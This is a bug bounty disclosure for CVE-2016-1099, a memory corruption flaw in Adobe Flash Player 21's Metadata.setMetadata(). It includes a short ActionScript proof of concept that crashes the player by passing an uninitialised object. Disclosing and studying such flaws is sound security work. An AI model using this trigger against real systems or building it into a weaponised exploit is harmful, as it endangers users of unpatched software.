Internet Bug Bounty · Report #138517
Adobe Flash Player Metadata class Memory Corruption Vulnerability
How it was found
I. Summary Adobe Flash Player is prone to a vulnerability which leads to memory corruption because of improper validation of Metadata.setMetadata().
II. Description Adobe Flash is a multimedia and software platform used for authoring of vector graphics, animation, games and rich Internet applications (RIAs) that can be viewed, played and executed in Adobe Flash Player.
Normally, setMetadata() should validates its parameter and returns error in AS3 level if anything goes wrong. If setMetadata() function is invoked directly with invalid parameter, some inner class instance will be absent, which will cause a memory crash.
POC Source Code:
package { import com.adobe.tvsdk.mediacore.metadata.Metadata; import flash.display.Sprite;
public class poc extends Sprite
{
public function poc()
{
var mt:Metadata;
new Metadata().setMetadata("test",mt);
}
}
}
Latest version of Adobe Flash Player has been tested under Windows 7 x64.
III. Impact Memory Corruption
IV. Affected Adobe Flash Player 21.
V. Credit Wen Guanxing from Pangu LAB is credited for this vulnerability.
It has been assigned as CVE-2016-1099 by Adobe: https://helpx.adobe.com/security/products/flash-player/apsb16-15.html